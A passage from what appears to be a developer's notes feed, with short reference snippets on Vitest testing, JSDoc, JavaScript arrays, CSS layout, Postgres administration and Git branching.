Object.defineProperty(window, &apos;matchMedia&apos;, {
  writable: true,
  value: vi.fn().mockImplementation((query) =&amp;gt; ({
    matches: false,
    media: query,
    onchange: null,
    addListener: vi.fn(),
    removeListener: vi.fn(),
    addEventListener: vi.fn(),
    removeEventListener: vi.fn(),
    dispatchEvent: vi.fn(),
  })),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Writing tests&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { describe, it, expect, vi, beforeEach } from &apos;vitest&apos;

describe(&apos;MyFunction&apos;, () =&amp;gt; {
  beforeEach(() =&amp;gt; {
    vi.clearAllMocks()
  })

  it(&apos;should do something&apos;, () =&amp;gt; {
    expect(myFunction()).toBe(expected)
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mocking&lt;/h2&gt;
&lt;h3&gt;Mock a module&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { vi } from &apos;vitest&apos;

vi.mock(&apos;./myModule&apos;, () =&amp;gt; ({
  myFunction: vi.fn(() =&amp;gt; &apos;mocked value&apos;),
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Spy on a function&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const spy = vi.spyOn(object, &apos;method&apos;)
expect(spy).toHaveBeenCalledWith(&apos;arg&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mock timers&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;beforeEach(() =&amp;gt; {
  vi.useFakeTimers()
})

afterEach(() =&amp;gt; {
  vi.useRealTimers()
})

it(&apos;handles timeout&apos;, () =&amp;gt; {
  const callback = vi.fn()
  setTimeout(callback, 1000)

  vi.advanceTimersByTime(1000)
  expect(callback).toHaveBeenCalled()
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing React components&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { render, screen } from &apos;@testing-library/react&apos;
import userEvent from &apos;@testing-library/user-event&apos;
import { MyComponent } from &apos;./MyComponent&apos;

describe(&apos;MyComponent&apos;, () =&amp;gt; {
  it(&apos;handles click&apos;, async () =&amp;gt; {
    const user = userEvent.setup()
    render(&amp;lt;MyComponent /&amp;gt;)

    await user.click(screen.getByRole(&apos;button&apos;))

    expect(screen.getByText(&apos;Clicked!&apos;)).toBeInTheDocument()
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Inline snapshots&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;expect(result).toMatchInlineSnapshot(`
  {
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Test&quot;,
  }
`)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Running tests&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;vitest          # Watch mode
vitest run      # Single run
vitest --ui     # UI mode
vitest --coverage # With coverage
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>testing</category><author>Zander Martineau</author></item><item><title>JSDoc</title><link>https://zander.wtf/notes/jsdoc/</link><guid isPermaLink="true">https://zander.wtf/notes/jsdoc/</guid><description>Functions Types | Annotation | Note | | ------------------------------- | ------------------------------------- | | @param {string=} n | Optional | |…</description><pubDate>Thu, 12 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Functions&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/**
 * This is a function.
 *
 * @param {string} n - A string param
 * @param {string} [o] - A optional string param
 * @param {string} [d=DefaultValue] - A optional string param
 * @return {string} A good string
 *
 * @example
 *
 *     foo(&apos;hello&apos;)
 */

function foo(n, o, d) {
  return n
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Annotation&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {string=} n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {string} [n]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Optional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {(string|number)} n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Multiple types&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {*} n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {...string} n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Repeatable arguments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {string} [n=&quot;hi&quot;]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Optional with default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@param {string[]} n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Array of strings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@return {Promise&amp;lt;string[]&amp;gt;} n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Promise fulfilled by array of strings&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @type {number}
 */
var FOO = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @const {number}
 */
const FOO = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Typedef&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/**
 * A song
 * @typedef {Object} Song
 * @property {string} title - The title
 * @property {string} artist - The artist
 * @property {number} year - The year
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Plays a song
 * @param {Song} song - The {@link Song} to be played
 */

function play(song) {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Shorthand&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/**
 * A song
 * @typedef {{title: string, artist: string, year: number}} Song
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Plays a song
 * @param {Song} song - The {@link Song} to be played
 */

function play(song) {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Other keywords&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @throws {FooException}
 * @async
 * @private
 * @deprecated
 * @see
 *
 * @function
 * @class
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Importing types&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/**
 * @typedef {import(&apos;./Foo&apos;).default} Bar
 */

// or

/** @import { Bar } from &quot;./Foo.js&quot; */

/**
 * @param {Bar} x
 */

function test(x) {}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Get last array item</title><link>https://zander.wtf/notes/get-last-array-item/</link><guid isPermaLink="true">https://zander.wtf/notes/get-last-array-item/</guid><pubDate>Fri, 01 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;const arr = [1, 2, 3, 4]
const last = arr[arr.length - 1]
console.log(last) // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;const arr = [1, 2, 3, 4]
const last = arr.at(-1)
console.log(last) // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;const arr = [1, 2, 3, 4]
const last = arr.findLast((x) =&amp;gt; true)
console.log(last) // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;const arr = [1, 2, 3, 4]
const last = arr.slice(-1)[0]
console.log(last) // 4
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Remove array duplicates with Set</title><link>https://zander.wtf/notes/remove-array-duplicates/</link><guid isPermaLink="true">https://zander.wtf/notes/remove-array-duplicates/</guid><description>Using Set</description><pubDate>Fri, 01 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Using &lt;code&gt;Set&lt;/code&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const array = [&apos;🐑&apos;, 1, 2, &apos;🐑&apos;, &apos;🐑&apos;, 3]

// Step 1
const uniqueSet = new Set(array)
// Set { &apos;🐑&apos;, 1, 2, 3 }

// Step 2
const backToArray = [...uniqueSet]
// [&apos;🐑&apos;, 1, 2, 3]

// or Step 1
const uniqueSet = [...new Set(array)]
// [&apos;🐑&apos;, 1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>GitHub markdown</title><link>https://zander.wtf/notes/github-markdown/</link><guid isPermaLink="true">https://zander.wtf/notes/github-markdown/</guid><description>Markdown alerts More info: https://github.com/orgs/community/discussions/16925</description><pubDate>Mon, 27 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Markdown alerts&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [!NOTE]
&amp;gt; Highlights information that users should take into account, even when skimming.

&amp;gt; [!TIP]
&amp;gt; Optional information to help a user be more successful.

&amp;gt; [!IMPORTANT]
&amp;gt; Crucial information necessary for users to succeed.

&amp;gt; [!WARNING]
&amp;gt; Critical content demanding immediate user attention due to potential risks.

&amp;gt; [!CAUTION]
&amp;gt; Negative potential consequences of an action.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More info: https://github.com/orgs/community/discussions/16925&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Content flow spacing</title><link>https://zander.wtf/notes/css-content-flow/</link><guid isPermaLink="true">https://zander.wtf/notes/css-content-flow/</guid><description>This is used to space content items out See the Pen Flexible content without wrapper divs by Zander Martineau ( @mrmartineau ) on CodePen .</description><pubDate>Fri, 17 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is used to space content items out&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  --flow-space: 1.4rem;
}

.flow {
  &amp;amp; &amp;gt; * {
    max-width: 65ch; /* Optional max line-width */
  }

  &amp;amp; &amp;gt; * + * {
    margin-block-start: var(--flow-space, 1em);
  }

  :is(h1, h2, h3, blockquote) {
    --flow-space: 2rem;
  }

  :is(h1, h2, h3) + * {
    --flow-space: 1rem;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;flow&quot;&amp;gt;
  &amp;lt;h1&amp;gt;Content flow spacing&amp;lt;/h1&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  &amp;lt;/p&amp;gt;
  &amp;lt;h2&amp;gt;h2. heading&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  &amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  &amp;lt;/p&amp;gt;
  &amp;lt;h3&amp;gt;h3. heading&amp;lt;/h3&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  &amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  &amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  &amp;lt;/p&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;300&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Flexible content without wrapper divs&quot; src=&quot;https://codepen.io/mrmartineau/embed/MWLrrXa?default-tab=result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&amp;gt;
See the Pen &amp;lt;a href=&quot;https://codepen.io/mrmartineau/pen/MWLrrXa&quot;&amp;gt;
Flexible content without wrapper divs&amp;lt;/a&amp;gt; by Zander Martineau (&amp;lt;a href=&quot;https://codepen.io/mrmartineau&quot;&amp;gt;@mrmartineau&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded><category>css</category><category>html</category><author>Zander Martineau</author></item><item><title>Flexible content without wrapper divs</title><link>https://zander.wtf/notes/flexible-content/</link><guid isPermaLink="true">https://zander.wtf/notes/flexible-content/</guid><description>Based on this article by Ryan Mulligan See the Pen Flexible content without wrapper divs by Zander Martineau ( @mrmartineau ) on CodePen . Alternate…</description><pubDate>Fri, 17 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Based on &lt;a href=&quot;https://ryanmulligan.dev/blog/x-scrolling-centered-max-width-container/&quot;&gt;this article&lt;/a&gt; by Ryan Mulligan&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.content {
  --content-max-width: 900px;
  --content-breakout-width: 2rem;
  display: grid;
  grid-template-columns:
    /* prettier-ignore */
    [full-start] 1fr
    [breakout-start] var(--content-breakout-width)
    [content-start] minmax(min-content, var(--content-max-width))
    [content-end] var(--content-breakout-width)
    [breakout-end] 1fr [full-end];

  &amp;gt; * {
    grid-column: content;
  }

  .content-breakout {
    grid-column: breakout;
  }

  .content-full {
    grid-column: full;
  }

  .content-callout {
    padding: 1rem;
    background-color: #ddd;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;content&quot;&amp;gt;
  &amp;lt;h1&amp;gt;Flexible content without wrapper divs&amp;lt;/h1&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  &amp;lt;/p&amp;gt;
  &amp;lt;p class=&quot;content-breakout content-callout&quot;&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  &amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  &amp;lt;/p&amp;gt;
  &amp;lt;img
    src=&quot;https://images.unsplash.com/photo-1682687220211-c471118c9e92?q=80&amp;amp;w=2970&amp;amp;auto=format&amp;amp;fit=crop&amp;amp;ixlib=rb-4.0.3&amp;amp;ixid=M3wxMjA3fDF8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&quot;
    class=&quot;content-full&quot;
  /&amp;gt;
  &amp;lt;p class=&quot;content-callout&quot;&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, odit rem
    natus modi eos molestias sed delectus quos tempora. Architecto ipsum ex vel
    et minus itaque deserunt sequi unde consectetur?
  &amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;
    Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad iusto eligendi
    provident amet. Ab ullam dolores, veritatis nemo atque consectetur quae
    numquam commodi amet veniam totam eligendi placeat ratione velit?
  &amp;lt;/p&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;300&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Flexible content without wrapper divs&quot; src=&quot;https://codepen.io/mrmartineau/embed/XWOVNra?default-tab=result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&amp;gt;
See the Pen &amp;lt;a href=&quot;https://codepen.io/mrmartineau/pen/XWOVNra&quot;&amp;gt;
Flexible content without wrapper divs&amp;lt;/a&amp;gt; by Zander Martineau (&amp;lt;a href=&quot;https://codepen.io/mrmartineau&quot;&amp;gt;@mrmartineau&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;Alternate solution for full-bleed content&lt;/h2&gt;
&lt;p&gt;From &lt;a href=&quot;https://archive.hankchizljaw.com/wrote/creating-a-full-bleed-css-utility/&quot;&gt;this article&lt;/a&gt; by Andy Bell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.full-bleed {
  width: 100vw;
  margin-left: calc(50% - 50vw);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe
height=&quot;265&quot;
style=&quot;width: 100%;&quot;
scrolling=&quot;no&quot;
title=&quot;Piccalilli Demo - Full Bleed Utility&quot;
src=&quot;https://codepen.io/andybelldesign/embed/vYOJjNw?height=265&amp;amp;theme-id=light&amp;amp;default-tab=result&quot;
frameborder=&quot;no&quot;
allowtransparency=&quot;true&quot;
allowfullscreen=&quot;true&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;See the Pen{&apos; &apos;}
&amp;lt;a href=&quot;https://codepen.io/andybelldesign/pen/vYOJjNw&quot;&amp;gt;
Piccalilli Demo - Full Bleed Utility
&amp;lt;/a&amp;gt;{&apos; &apos;}
by Andy Bell (&amp;lt;a href=&quot;https://codepen.io/andybelldesign&quot;&amp;gt;@andybelldesign&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded><category>css</category><category>html</category><author>Zander Martineau</author></item><item><title>Postgres</title><link>https://zander.wtf/notes/postgres/</link><guid isPermaLink="true">https://zander.wtf/notes/postgres/</guid><description>Install Tables Create table Drop table Rename table Add column Junction table Given a many-to-many relationship between two tables, create a junction table…</description><pubDate>Fri, 10 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Install&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;brew install postgresql@15
fish_add_path /opt/homebrew/opt/postgresql@15/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tables&lt;/h2&gt;
&lt;h2&gt;Create table&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE public.tags (
    id serial PRIMARY KEY,
    name text UNIQUE NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Drop table&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;DROP TABLE public.tags;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rename table&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE public.tags RENAME TO public.bookmarks_tags;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Add column&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE public.bookmarks_tags ADD COLUMN tag_id integer REFERENCES public.tags(id) ON DELETE CASCADE;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Junction table&lt;/h3&gt;
&lt;p&gt;Given a many-to-many relationship between two tables, create a junction table to represent the relationship. This query creates a junction table for a many-to-many relationship between the &lt;code&gt;bookmarks&lt;/code&gt; and &lt;code&gt;tags&lt;/code&gt; tables.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE public.bookmark_tag (
  bookmark_id uuid REFERENCES public.bookmarks(id) ON DELETE CASCADE,
  tag_id integer REFERENCES public.tags(id) ON DELETE CASCADE,
  PRIMARY KEY (bookmark_id, tag_id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Create enum&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE TYPE status AS ENUM (&apos;active&apos;, &apos;inactive&apos;, &apos;deleted&apos;, &apos;archived&apos;, &apos;draft&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rename a value in an array&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;UPDATE bookmarks
SET tags = array_replace(tags, &apos;open&apos;, &apos;public&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Update a value in all rows&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;UPDATE table_name
SET column_name = &apos;column value&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Constraints&lt;/h2&gt;
&lt;h3&gt;List constraints on a table&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SELECT *
FROM information_schema.constraint_table_usage
WHERE table_name = &apos;table_name&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Drop constraint on a table&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ALTER TABLE table_name DROP CONSTRAINT table_name_field_fkey;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Backup and restore&lt;/h1&gt;
&lt;p&gt;Install the &lt;code&gt;libpq&lt;/code&gt; CLI tool:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install libpq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add it to your path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fish_add_path /opt/homebrew/opt/libpq/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(I use Fish shell so the above command is for Fish. For Bash, use &lt;code&gt;export PATH=&quot;/opt/homebrew/opt/libpq/bin:$PATH&quot;&lt;/code&gt;)&lt;/p&gt;
&lt;h2&gt;Database backup &amp;amp; restore&lt;/h2&gt;
&lt;p&gt;Using &lt;a href=&quot;https://www.postgresql.org/docs/current/app-pgdump.html&quot;&gt;&lt;code&gt;pg_dump&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Backup DB and content&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pg_dump -U postgres -W -h db.******.supabase.co -p 5432 -n public -F t -f db-backup.tar postgres
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Only backup DB schemas&lt;/h3&gt;
&lt;p&gt;Notice the &lt;code&gt;-s&lt;/code&gt; flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pg_dump -U postgres -W -h db.******.supabase.co -p 5432 -s -n public -F t -f db-backup.tar postgres
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Restore DB&lt;/h3&gt;
&lt;p&gt;Using &lt;a href=&quot;https://www.postgresql.org/docs/current/app-pgrestore.html&quot;&gt;&lt;code&gt;pg_restore&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pg_restore -U postgres -W -h db..******..supabase.co -p 5432 -F t -C -d postgres db-backup.tar
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Meta&lt;/h2&gt;
&lt;h3&gt;Get all RLS policies&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;select * from pg_policies
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;All databases and their sizes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;select * from pg_user;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>sql</category><author>Zander Martineau</author></item><item><title>Git</title><link>https://zander.wtf/notes/git/</link><guid isPermaLink="true">https://zander.wtf/notes/git/</guid><description>Staging/Adding files Add all files from current directory Add all files from specific directory Branches Create a local branch and switch to it Switch to…</description><pubDate>Thu, 12 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Staging/Adding files&lt;/h2&gt;
&lt;p&gt;Add all files from current directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add all files from specific directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add &amp;lt;directory&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Branches&lt;/h2&gt;
&lt;p&gt;Create a local branch and switch to it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout -b &amp;lt;new-branch-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Switch to an existing branch&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout &amp;lt;branch-name&amp;gt;

# or, since Git 2.23, the clearer switch command
git switch &amp;lt;branch-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Switching branches without knowing the name&lt;/h3&gt;
&lt;p&gt;Git has no built-in interactive branch picker. The closest built-in options are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# toggle back to the previous branch
git switch -

# shell completion: press tab to list branch names
git switch &amp;lt;TAB&amp;gt;

# list branches with the most recently committed to first
git branch --sort=-committerdate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For an actual fuzzy picker, pipe the branch list through &lt;a href=&quot;https://github.com/junegunn/fzf&quot;&gt;fzf&lt;/a&gt;. As a fish function in &lt;code&gt;~/.config/fish/functions/gsw.fish&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function gsw --description &quot;Fuzzy-switch git branch&quot;
    set -l branch (
        git branch --sort=-committerdate \
            --format=&apos;%(refname:short)%09%(committerdate:relative)%09%(contents:subject)&apos; |
        fzf --ansi --delimiter=&apos;\t&apos; \
            --with-nth=1,2,3 \
            --preview &apos;git log --oneline --graph --color=always -20 {1}&apos; |
        string split -f1 \t
    )
    test -n &quot;$branch&quot;; and git switch $branch
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run &lt;code&gt;gsw&lt;/code&gt;, type a few characters, hit enter. Branches are sorted newest-first and the preview pane shows that branch&apos;s recent log. Use &lt;code&gt;git branch -a&lt;/code&gt; instead to include remote branches.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jesseduffield/lazygit&quot;&gt;lazygit&lt;/a&gt; does the same thing with no config: run it, press &lt;code&gt;3&lt;/code&gt; for the branches panel, then &lt;code&gt;space&lt;/code&gt; to check out the highlighted branch.&lt;/p&gt;
&lt;p&gt;List all local branches&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;List remote and local branches&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;List all merged branches&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch --merged
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same as above but exclude master and develop branches&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch --merged | egrep -v &quot;(^\*|master|main|develop)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Deleting branches&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git branch -d &amp;lt;branch-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Delete remote branches&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git push origin --delete &amp;lt;branch-name-1&amp;gt; &amp;lt;branch-name-2&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Merging&lt;/h2&gt;
&lt;p&gt;Merge another branch into current branch&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git merge &amp;lt;branch-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rebasing&lt;/h3&gt;
&lt;p&gt;Rebase from a branch&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase &amp;lt;branch-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Interactive rebase + squash commits&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase -i

# optional branch name
git rebase -i &amp;lt;branch-name&amp;gt;

# when you want to squash 17 commits where some include merge commits
git rebase -i HEAD~17 --rebase-merges
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://codeinthehole.com/guides/resolving-conflicts-during-a-git-rebase/&lt;/li&gt;
&lt;li&gt;https://thoughtbot.com/blog/git-interactive-rebase-squash-amend-rewriting-history&lt;/li&gt;
